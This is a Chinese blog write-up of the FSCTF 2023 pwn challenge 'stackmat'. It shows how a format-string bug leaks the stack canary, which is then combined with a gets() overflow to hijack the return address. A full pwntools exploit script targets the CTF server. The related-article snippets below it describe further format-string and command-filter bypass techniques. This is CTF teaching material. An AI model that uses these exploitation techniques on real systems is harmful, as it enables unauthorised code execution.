【pwn】[FSCTF 2023]stackmat --格式化字符串漏洞泄露canary

最新推荐文章于 2025-03-23 09:40:01 发布
原创 最新推荐文章于 2025-03-23 09:40:01 发布 · 252 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#c语言 #安全 #网络安全 #python

本文介绍了在程序中发现的格式化字符串漏洞和栈溢出，通过frompwn库，作者利用这些漏洞构造payload，成功实现对远程服务器的控制并进入交互模式。

看一下程序的保护状态

开了canary，接着看一下代码逻辑

可以发现，这里有格式化字符串漏洞，同时gets函数有栈溢出漏洞，现在只需要确定我们输入到buf的内容在格式化字符的第几个参数就行

可以确定buf在格式化字符串的第8个参数，又因为buf的偏移是0x20,所以canary在11个参数，因为canary的偏移是0x8

exp：

from pwn import *

context(os='linux',arch='amd64',log_level='debug')

io=remote("node4.anna.nssctf.cn",28679)

io.recvuntil(b"Do you kown canary\n")

io.send(b"AAAAAAAA%11$p")

io.recvuntil(b'0x')

canary=int(io.recv(16),16)

ret=0x40101a

io.recvuntil(b"overflow\n")

payload=b'a'*(0x30-0x8)+p64(canary)+b'a'*8+p64(0x401240)

io.send(payload)

io.interactive()

GGb0mb
关注
PWN基础-利用格式化字符串漏洞泄露canary结合栈溢出getshell
Welcome To My6n Blog
04-27 740
canary 所在地址为 0xffffcffc，内容为 0xe8ac1700。然后运行，期间会经过第一个 read 函数，随便输入：RRR。再看一下 canary 距离我们输入字符串的距离，偏移是 8。重新运行 canary 值会变：现在是 0x37133900。继续往下走，可以发现打印出的值就是 canary 的值。p 只显示了地址，x 还显示了地址处的内容。我们在栈上面找一下 0xe8ac1700。但是测试发现，输出结果多了一个换行符。这部分后面需要填充为垃圾数据。距离栈顶偏移值为 15。
pwn刷题num17-----格式化字符串泄露canary+栈溢出
tbsqigongzi的博客
04-23 1449
攻防世界pwn进阶区Mary_Morton 首先查保护–>看链接类型–>赋予程序可执行权限–>试运行 64位，小端序 开启部分RELRO---got表仍可写 开启canary保护---栈溢出需绕过canary 开启NX保护----堆栈不可执行 未开启PIE----程序地址为真实地址 动态链接 运行后，选1是栈溢出，选2是格式化字符串溢出，选3是退出程序 ida一下主函数 简单的程序，三种选择，选1进入stack（）函数 buf占0x90字节，read函数读入0x100字节，寻找
PWN——格式化字符串泄露canary
djhtdjdywgjc的博客
11-19 2226
格式化字符串泄露canary
栈上格式化字符串漏洞：泄露canary，修改got表，stack check fail，one_gadget
2302_79813730的博客
02-05 1145
此时就存在格式化字符串漏洞。%c为单个字符形式%s为多个字符形式%d为数字形式%f是转为浮点型%x是转为十六进制形式，不带0x%p是转为十六进制，但是带0x%n 将%n之前打印出来的字符的个数存入到参数中接下通过例题来讲解利用方法。
PWN做题笔记11-Mary_Morton（格式化字符串暴露canary）
qq_40923256的博客
05-15 574
Mary_Morton，知识点是格式化字符串漏洞暴露canary
FSCTF 2023（公开赛道）（pwn持续更新中）
沈理大学牲的博客
11-28 790
file一下，64位，ida打开关键函数部分：检查用户输入的命令中是否包含"cat"、"flag"、"sh"或者"$0"这些关键词，如果包含，则输出"invalid command"；否则关闭标准输出，然后调用backdoor函数。在backdoor函数中system(a1);存在，a1是buf也就是输入的我也是看了wp才知道的，还得多练直接 nc node4.anna.nssctf.cn 28229然后输入 tac fla* >&2。
android 分钟 秒计时器_开发记录：连接Stackmat计时器
weixin_35945480的博客
01-28 846
阅读本文大约需要5分钟；如需节省时间可先看结论：还得再等等。一、Android 篇大约在0.6版的时候增加了连接ss计时器功能，那时候的手机大多都比较简单没有降噪之类的功能，作者本人使用某TC的Android系统2.3手机，加上一个手机音频麦克风分线器就可以获取ss计时器的音频信号，波形看上去非常完美。后面的手机功能越来越多，现在也几乎找不到不带降噪功能的Android设备，信号被降噪后...
[CTF]PWN--手搓格式化字符串漏洞
2301_79880752的博客
02-19 1723
而是，原来我们修改了的其实是0x7f1与0x7f2里的东西，那后面我们就需要修改0x7f3与0x7f4里的东西，因此我们+2的意思就是将原来的0x7f1+2，修改成0x7f3，这样，我们在修改的时候改的就是0x7f3与0x7f4里的东西了（思路是这样的，一个栈地址一共八个字节，我们需要将要修改的地址和被修改的地址每两个字节对应的修改，直到最后将所以字节都修改成我们需要的地址。修改最高二位的时候也是一样的，由于栈里面的地址与libc里面的地址一般都只占6个字节，因此，我们只需要进行三次修改即可。
pwn刷题num26-----格式化字符串漏洞实现任意地址修改
tbsqigongzi的博客
04-27 571
BUUCTF-PWN-[第五空间2019 决赛]PWN5 首先查保护–>看链接类型–>赋予程序可执行权限–>试运行 32位程序，小端序 开启部分RELRO-----got表可写 开启canary保护-----栈溢出需绕过canary 开启NX保护-----堆栈不可执行 未开启PIE-----程序地址为真实地址 动态链接 程序运行后首先输入一个name 然后输入密码（passwd） 最后fail ida看一下伪代码 观察主函数，发现格式化字符串漏洞 printf(&buf);
BUUCTF-PWN刷题记录-18（格式化字符串漏洞）
weixin_44145820的博客
05-08 2085
目录xman_2019_format（字符串位于堆上）hitcontraining_playfmt（字符串位于bss）wustctf2020_babyfmt xman_2019_format（字符串位于堆上） 一道格式化字符串题目，但是只有一次输入机会，但是有多次利用机会，每次利用使用‘|’隔开 我们先看一下栈的情况 经过多次调试，可以发现返回地址最低一个16进制位一定为0xC，我们只需要爆破倒数第二个16进制位就能得到指向返回地址的栈上地址 Exp: from pwn import * #r =
[深育杯 2021]find_flag wp(绕过PIE和canary 格式化字符串 栈溢出 )
qq_73667990的博客
06-28 914
直接跳到格式化字符串漏洞处，然后查看栈结构，rbp上下分别是canary和返回地址。所以我们要输入0x40-0x8来把v2到canary填充完，然后再原封不动的输入canary，然后再输入0x8个a填充rbp指针，然后再输入后门函数地址覆盖返回地址。所以我们栈的第一个位置其实是rdi，所以canary和return的位置分别为17和19，我们输入。开了canary保护，栈溢出时，要还原canary，开了PIE，地址会改变。有了返回地址，我们减去偏移就能得到程序基地址，返回地址偏移为0x146F。
FSCTF 2023 PWN
Xzzzz911的博客
10-26 1053
FSCTF新生赛是由中国民航大学、天津理工大学、滁州学院、吉林师范大学、三明学院(排名不分先后)等5所高校共同举办的CTF新生赛，比赛涵盖Web、Pwn、Reverse、Crypto、Misc等赛题方向。通过此次比赛，希望能够提高参赛师傅们的实践能力，促进进一步学习竞赛知识的热情，并为大家提供一个展示自我、交流合作的平台。完结撒花！！！
格式化字符串漏洞的两种利用姿势+orw沙盒利用
2301_79880074的博客
02-03 1075
通过三道例题学习一下格式化字符串漏洞和orw（沙盒），所有例题需要附件可以私信我。
Canary
Sean_summer的博客
03-18 568
Canary是一种用以防护栈溢出的保护机制。
格式化字符串泄露canary+ret2libc
qq_41710399的博客
03-23 1054
264/8=33，因为是六十四位文件所以他格式化字符串时候前六个参数是在寄存器中的而栈空间这个记录的第一个偏移其实是真实的第七个数据单元所以这边算出来33还要再加6，即为canary值，利用格式化字符串泄露内存的payload应该为(%39$p)接下来再本地run一下看看。这边泄露出来libc基地址需要用puts真实地址减去偏移量，即为基地址，每次运行程序偏移量是不变的是固定的所以这边可以利用动调获取到puts的真实地址和基地址计算偏移量，这边有两个函数。
pwn学习---借助格式化输出绕过canary保护
gclome的博客
03-29 640
0x01 原理简介 格式化字符串漏洞是因为c语言中printf的参数个数不是确定的，参数的长度也不是确定的，当printf把我们的输入当作第一个参数直接输出的时候，我们输入若干格式化字符串，会增加与格式化字符串相对应的参数，会泄露出栈中的内容 Stack canary保护机制在刚进入函数时，在栈上放置一个标志canary，然后 在函数结束时，判断该标志是否被改变，如果被改变，则表示有攻击行为发生。...
pwn1 格式化字符串泄露canary
qq_44832048的博客
07-27 985
前面在终端中查看保护机制和32位在前面提到过就不讲了， 只不过在这里只开启了Canary，所以我们可以用格式化字符串漏洞泄露出栈上保存的Canary，没有开启NX，说明堆栈可执行，我们可以在第二次输入中直接把shellcode布置到栈里面，然后返回到栈里 用ida简单看了一下，就是让你输入名字，然后调用get_message函数输出你的名字，让你留言，留言有溢出漏洞，显然用了printf，也有...
从格式化字符串泄露canary到栈溢出
SsMing的博客
01-11 4474
以ASIS-CTF-Finals-2017 Mary_Morton为例 checksec查看，开了NX保护，还有canary IDA打开 void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { const char *v3; // rdi int v4; // [rsp+24h] [rbp-Ch] ...
格式化字符串漏洞泄露StackCanary
ACdream
04-26 3150
2017陕西省的pwn_box这个题作为调试的程序，gdb作为工具 先来熟悉原理，推荐几个pdf学习懂原理吧： Format String Exploitation-Tutorial By Saif El-Sherei Exploiting Format String Vulnerabilities  scut/team teso 看完这几个会对原理有深刻认识，然后如何操作呢？ 戳我
[CTF]PWN--非栈上格式化字符串漏洞
最新发布
08-14
### 非栈上格式化字符串漏洞概述 在CTF比赛的PWN类别中，格式化字符串漏洞是一种常见的安全漏洞，通常出现在使用不安全的格式化函数（如`printf`、`sprintf`等）时。如果程序允许用户直接控制格式化字符串参数，而未进行适当的验证和过滤，则可能导致攻击者利用该漏洞读取或写入内存数据。 在栈上的格式化字符串漏洞利用较为常见，而非栈上格式化字符串漏洞则涉及对堆内存或其他非栈内存区域的利用。这类漏洞通常更具挑战性，但也提供了更多的攻击面。 ### 利用方法 非栈上格式化字符串漏洞的利用主要依赖于对格式化字符串中特殊格式符的使用，尤其是`%n`。`%n`的作用是将当前已经输出的字符数写入指定的指针位置。通过精心构造格式化字符串，攻击者可以实现任意地址写入（Arbitrary Write）。 在非栈上场景中，通常需要找到一个可以控制的指针，指向堆内存或其他可写区域。例如，攻击者可以通过泄露堆地址，然后利用`%n`将数据写入堆中的特定位置。这种方法常用于覆盖函数指针或全局偏移表（GOT）中的条目，从而实现控制流劫持。 ```c // 示例代码，展示不安全的格式化字符串使用 #include <stdio.h> void vulnerable_function(char *user_input) { printf(user_input); // 不安全的格式化字符串使用 } int main(int argc, char **argv) { if (argc > 1) { vulnerable_function(argv[1]); } return 0; } ``` 在上述示例中，如果攻击者能够控制`user_input`的内容，则可以构造特定的格式化字符串来触发漏洞。例如，攻击者可以输入类似`%x%x%x%n`的字符串，试图读取栈上的数据并写入特定地址。 ### 防御方法 为了防止非栈上格式化字符串漏洞的利用，可以采取以下几种防御措施： 1. **避免使用不安全的格式化函数**：尽量使用带有显式参数的格式化函数，如`fprintf`、`snprintf`等，并确保格式字符串是静态常量，而不是用户可控的输入。 2. **输入验证和过滤**：对用户输入进行严格的验证和过滤，确保输入中不包含任何格式化字符（如`%`）。可以通过白名单机制来限制输入内容。 3. **地址空间布局随机化（ASLR）**：启用ASLR可以增加攻击者预测内存地址的难度，从而降低漏洞利用的成功率。 4. **堆内存保护**：使用现代编译器提供的堆内存保护机制，如堆栈保护（Stack Canaries）、地址随机化等，以增加攻击者利用堆漏洞的难度。 5. **代码审计和静态分析**：定期进行代码审计和静态分析，查找并修复潜在的安全漏洞。使用静态分析工具可以帮助识别不安全的格式化字符串使用。 6. **运行时检测**：在程序运行时检测格式化字符串的使用情况，及时发现并阻止异常行为。 ### 示例：修复不安全的格式化字符串使用 ```c // 修复后的代码，使用安全的格式化字符串使用方式 #include <stdio.h> void safe_function(char *user_input) { printf("%s", user_input); // 使用安全的方式处理用户输入 } int main(int argc, char **argv) { if (argc > 1) { safe_function(argv[1]); } return 0; } ``` 在修复后的代码中，通过使用`%s`格式化符并显式传递用户输入，避免了用户输入直接作为格式化字符串的风险。 ### 总结 非栈上格式化字符串漏洞的利用虽然较为复杂，但通过精心构造的格式化字符串和内存操作，攻击者仍然可以实现严重的攻击效果。因此，在开发过程中，必须采取有效的防御措施，确保程序的安全性。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值